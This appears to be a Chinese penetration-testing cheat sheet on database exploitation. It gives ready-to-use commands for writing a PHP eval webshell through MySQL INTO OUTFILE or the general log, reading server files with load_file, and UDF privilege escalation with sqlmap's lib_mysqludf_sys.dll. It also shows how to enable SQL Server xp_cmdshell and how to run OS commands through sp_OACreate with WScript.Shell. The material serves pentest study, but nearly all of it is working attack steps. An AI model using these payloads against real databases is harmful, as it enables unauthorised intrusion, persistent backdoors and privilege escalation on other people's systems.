渗透测试数据库利用
mysql
使用mysql命令行客户端时,可以利用system函数执行系统命令。让 mysql 客户端所在的操作系统执行 whoami,所以回显是启动mysql客户端的用户
1 | mysql -e "system whoami;" -u 用户名 -p |
写入webshell
前提条件
1 | 数据库用户需要拥有 FILE 权限;root 用户通常拥有该权限;(FILE权限指的是对服务器主机上文件的访问) |
secure_file_priv
secure_file_priv参数使用来限制load_file,SELECT ... INTO OUTFILE,SELECT ... INTO DUMPFILE的
secure_file_priv为null,表示禁止读写操作
secure_file_priv为空,表示没有限制
secure_file_priv为具体目录时,表示只能对指定目录下的文件进行读写操作
可以通过一下SQL语句查看该参数
1 | SELECT @@secure_file_priv; |
1 | SHOW VARIABLES LIKE 'secure_file_priv'; |
into outfile
向指定目录写入文件
1 | select 'success' into outfile 'C:/ProgramData/MySQL/MySQL Server 8.0/Uploads/test.txt'; |
log
查看mysql的日志功能是否开启,查看日志的路径
1 | show variables like '%general%'; |
1 | set global general_log = ON; //开启日志功能 |
1 | set global general_log_file = 'd:/shell.php'; //设置日志路径 |
1 | SET GLOBAL log_output = 'FILE'; //设置日志输出到文件里,参数还有TABLE、NONE、(FILE,TABLE) |
1 | select '<?php eval($_POST[1]);?>'; //向日志文件写入webshell |
general_log
开启 general log 将所有到达MySQL Server的SQL语句记录下来
load_file
读取系统文件。同样被secure_file_priv参数限制
1 | select load_file('C:/ProgramData/MySQL/MySQL Server 8.0/Uploads/test.txt'); |
1 | SELECT CAST( |
1 | SELECT CONVERT( |
UDF提权
UDF,用户自定义函数,通过添加新函数,对MySQL的功能进行扩充。UDF的实现利用了动态链接库,.dll(windows)和.so(linux)文件。
通过写入恶意的dll文件,然后使用MySQL的CREATE FUNCTION命令注册该函数,然后调用该函数即可在MySQL服务进程的权限下执行系统命令
UDF文件存放的位置与mysql的版本有关
mysql<5.1
C:/Winnt/udf.dll 或者C:/Windows/system32/udf.dll
Mysql >= 5.1
Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建。
前提条件
1.具有FILE(文件读写)、CREATE权限
2.secure_file_priv=空
3.无webshell还需要INSERT权限、UPDATE权限、DELETE权限
具体步骤
查看权限
1 | select * from mysql.user where user = substring_index(user(), '@', 1)\G; |
查看secure_file_priv参数
1 | SHOW VARIABLES LIKE 'secure_file_priv'; |
确定版本
1 | select version(); |
确定mysql的安装目录
1 | show variables like '%basedir%'; |
版本大于5.1,写入安装目录的lib\plugin目录,有webshell可以通过webshell上传udf.dll文件,在web目录不可写或者shell执行解析被限制的情况下就得通过数据库写入udf.dll文件
写入恶意dll文件
查看系统的信息
1 | show variables like '%compile%'; |
根据对应的系统可以在sqlmap中找到对应的udf文件\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
sqlmap中的udf文件为防止误杀默认是经过异或编码的,需先使用sqlmap自带的脚本解码
1 | python extra/cloak/cloak.py -d -i data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ |
16进制编码一下,为了让二进制数据更稳定的传递
1 | select hex(load_file('D:\\lib_mysqludf_sys.dll')) into dumpfile 'D:\\lib_mysqludf_sys.txt'; |
由于mysql命令行有长度限制所以需要将16进制编码分成几部分写入表中,然后拼接
1 | create table udf(data longblob); |
1 | insert into udf(data) values(); |
1 | update udf set data=concat(data,) |
拼接完后将udf.dll写入对应的位置
1 | select data from udf into dumpfile "D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll"; |
创建函数
1 | create function sys_eval returns string soname 'udf.dll'; |
命令执行
1 | select sys_eval("whoami"); |
删除函数
1 | drop function sys_eval; |
SQLServer
xp_cmdshell
简介
1.xp_cmdshell是 SQL Server 中的一个扩展存储过程,它允许系统管理员通过操作系统命令行解释器执行给定的命令字符串,并以文本行的形式返回任何输出
2.xp_cmdshell 默认通常是禁用状态。开启和直接调用它一般需要 sysadmin 固定服务器角色权限,例如 sa 账户或其他 DBA 高权限账户, xp_cmdshell 可以使用基于策略的管理或执行 sp_configure来启用和禁用。
3.xp_cmdshell 这个扩展存储过程定义在 master 数据库里,并且属于 dbo 架构,完整写法master.dbo.xp_cmdshell
前提条件
1.开启 xp_cmdshell 通常需要 sysadmin 固定服务器角色权限,例如sa 账户或其他 DBA 高权限账户
2.SQL Server数据库没有被降权
xp_cmdshell执行系统命令是以SQL Server 服务当前运行账号的身份执行的,所以降权就会有很多限制
命令执行
判断条件
1 | select is_srvrolemember('sysadmin'); |
xp_cmdshell可能被删除,如下sql语句查看xp_cmdshell是否存在,回显1为存在
1 | select count(*) from master.dbo.sysobjects where xtype = 'x' and name ='xp_cmdshell'; |
命令执行
1 | EXECUTE master.dbo.xp_cmdshell 'whoami'; |
开启xp_cmdshell
sql语句更改sp_configure,开启xp_cmdshell
1 | EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; |
OLE对象
OLE 是 Windows 里一套“让不同程序之间共享、嵌入、调用数据对象”的机制。
一个应用程序创建的数据,被另一个应用程序嵌入或链接后,在目标程序里显示、保存,甚至还能双击后调用原程序编辑的对象就是OLE对象
sp_OACreate
sp_OACreate创建OLE对象实例, sp_OAMethod调用OLE 对象的方法
1 | sp_OACreate { progid | clsid } |
sp_OAMethod
1 | sp_OAMethod objecttoken , methodname |
执行步骤
查看SP_OACREATE扩展存储过程是否存在
1 | select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' |
同样更改sp_configure
1 | EXEC sp_configure 'show advanced options', 1; |
WScript.Shell.Run 主要用于启动程序,本身不会把 stdout 直接返回到 SQL 查询结果中,所以常见做法是将命令输出重定向到文件。
1 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt' |
DECLARE @shell INT 用于声明变量,保存 OLE 对象实例的 object token。后续 sp_OAMethod 通过这个 token 调用该对象的方法。
1 | declare @shell int |
创建OLE对象实例
1 | exec sp_oacreate 'wscript.shell',@shell output |
调用前面创建OLE对象中的run方法,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'是run方法的参数
1 | exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt' |
参考链接:
https://www.freebuf.com/articles/web/357538.html





